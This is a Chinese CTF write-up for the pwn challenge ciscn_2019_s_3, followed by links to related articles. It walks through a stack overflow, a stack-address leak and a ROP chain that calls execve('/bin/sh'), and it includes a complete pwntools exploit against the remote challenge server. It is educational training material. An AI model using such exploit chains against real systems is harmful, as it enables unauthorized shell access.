这道题挺好的,可以帮助我更好的理解gadget的利用以及rop技术

首先,查一下程序保护情况

拖进ida分析

这里sys_read和sys_write是系统调用函数,看汇编可以分析出来

我们首先要了解一下64位系统的系统调用

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

调用号:sys_read 的调用号 为 0 ;sys_write 的调用号 为 1;stub_execve 的调用号 为 59; stub_rt_sigreturn 的调用号 为 15

调用方式: 使用 syscall 进行系统调用

可以看到它有将rax设置为3B(59),调用了execve,execve函数作用是执行一个新的程序,程序可以是二进制的可执行程序,也可以是shell、pathon脚本,这个跟system函数差不多,记录一下调用execve的地址,execve_addr=0x4004e2,在这个调用execve的函数里也看到了retn,我们可以用它继续控制程序流,接下来就是去设置execve函数的参数,通过pop指令持续控制,让rdi=/bin/sh,rsi=0,rdx=0即可获得shell

这道题还有一个地方需要注意,那就是vuln函数汇编代码那边是leave指令,只有retn指令,说明不需要覆盖原来rbp的值,buf的溢出的值为0x10,后面紧接返回地址就行

接着分析sys_read和sys_write函数,可见write的值是0x30,会将栈上一些其它的东西打印出来,这里我们直接动态调试一下,看会泄露哪些东西

这边在read这边读入'a'*0x10,然后看write会泄露什么

可以看到0x7fffffffde70这个地址处的值 0x00007fffffffdf78 已经将栈地址泄露出来,然后我们输入的值是存在0x7fffffffde50处,用0x00007fffffffdf78-0x7fffffffde50=0x128 ,这个0x128的用处是:

因为程序每次加载程序,栈地址可能都会变化,但是偏移是不变,我们可以利用这个偏移和泄露的栈地址确定到我们输入的地址,如果我们是输入/bin/sh的话,就是到我们这字符串的地址。

然后就是要确定三个参数的位置了

先来rdx:下面这个其实已经确定rsi,并会执行call函数,但是只要覆盖其返回地址就行,可以继续rop

得先确定r13,那就找r13:

pop 6次,可以填充6个0

然后就是第一个参数rdi:

可以直接利用

exp:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')
io=remote("node4.buuoj.cn",27569)
vul_addr=0x4004EE
payload=b"/bin/sh\x00"+b'a'*0x8+p64(vul_addr)
io.send(payload)
io.recv(0x20)
bin_addr=u64(io.recv(8))-0x128 #此处的偏移0x128是动态调试出来的
mov_rdx_r13=0x400580
pop_r13_6=0x40059A
rdi=0x4005a3
gadget=0x4004E2
syscall_addr=0x400517
payload2=b"/bin/sh\x00"*2+p64(pop_r13_6)+p64(0)*6+p64(mov_rdx_r13)+p64(gadget)
payload2+=p64(rdi)+p64(bin_addr)+p64(syscall_addr)
io.send(payload2)
io.interactive()

【pwn】ciscn_2019_s_3 -- rop,gadget利用,泄露栈地址的更多相关文章

  1. RealWorld CTF 5th ShellFind 分析

    前言 RealWorld CTF 5th 里的一道iot-pwn,根据真实设备固件改编而成,觉得题目贴近iot实战且很有意思,故在此记录一下复现过程. 题目分析 题目描述 Hello Hacker. ...

  2. Linux pwn入门教程(3)——ROP技术

    作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...

  3. CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. 记两道最近做的pwn题(ciscn_2019)

    这两题为什么要记录呢,一个是我发现网上很多教程没写清楚(也可能是我太菜了),二是细节点很多,不同的大佬方式不太一样,有很多细节需要注意 ciscn_2019_es_2 这题是栈迁移的题,先上exp 1 ...

  5. MIPS Pwn赛题学习

    MIPS Pwn writeup Mplogin 静态分析   mips pwn入门题. mips pwn查找gadget使用IDA mipsrop这个插件,兼容IDA 6.x和IDA 7.x,在ID ...

  6. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  7. 一步一步学ROP之gadgets和2free篇(蒸米spark)

    目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...

  8. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  9. 2020信息安全铁人三项 pwn复盘

    第一赛区 hacknote 程序存在格式化字符串漏洞和uaf,不多说了,很简单. 1 from pwn import * 2 3 p = process('./hacknote') 4 elf = E ...

  10. Linux64位程序中的漏洞利用

    之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...

随机推荐

  1. MASABlazor在移动端点击保持出现悬停样式

    提出问题 最近在学习MAUIBlazor,用的MASA Blazor,发现在移动端(触屏设备)上,点击会一直显示悬停样式,如下图所示,简单研究了一下,发现这是移动端的通病. 解决问题 MASABlaz ...

  2. Linux 中设备的分类及网络设备接口路径

    设备分类 字符设备 块设备 网络设备 参考文档: 手把手教Linux驱动 网络设备位置 [root@localhost ~]# cd /sys/class/net/ [root@localhost n ...

  3. Django CSRF cookie not set.

    错误原因 由于django框架的settings.py配置了中间件,为了防止跨站请求伪造,form表单POST方式会导致出现报错 解决办法: 将'django.middleware.csrf.Csrf ...

  4. ubuntu 安装sublime

    Install the GPG key: wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key ad ...

  5. sqli-labs全通关payload

    less-1: less-2: less-3: less-4: less-5: less-6: less-7: outfile,dumpfile,load_file函数的用法如下所示: less-8: ...

  6. Spring Boot 启动流程追踪(第一篇)

    1.初始化 SpringApplication public SpringApplication(ResourceLoader resourceLoader, Class<?>... pr ...

  7. Java BigDecimal 分析

    1.使用理由: Double类和Float类可以对16位有效数字的数进行精确运算,但对于超过16位有效数字的数,会丢失精度.所以使用BigDecimal类来精确计算超过16位有效数字的数. 2.引入包 ...

  8. Programming abstractions in C阅读笔记: p114-p117

    <Programming Abstractions in C>学习第48天,p114-p117,​总结如下: 一.技术总结 主要通过random number介绍了随机数的相关用法,int ...

  9. CentOS7.9中的Glibc2.17源码编译升级到Glibc2.31

    一.准备工作 1.配置yum阿里镜像源 查看yum当前配置的仓库,如果yum配置的不是阿里云源,请配置阿里云源. yum repolist all 验证是否能ping通阿里云 # 如果不能ping通可 ...

  10. SSM登录操作

    1.编写实体类 略 2. 写mapper映射文件 通过名字查询 通过ID主键查询... 略 写dao CRUD相关抽象方法 List<Student> getAll(); Student ...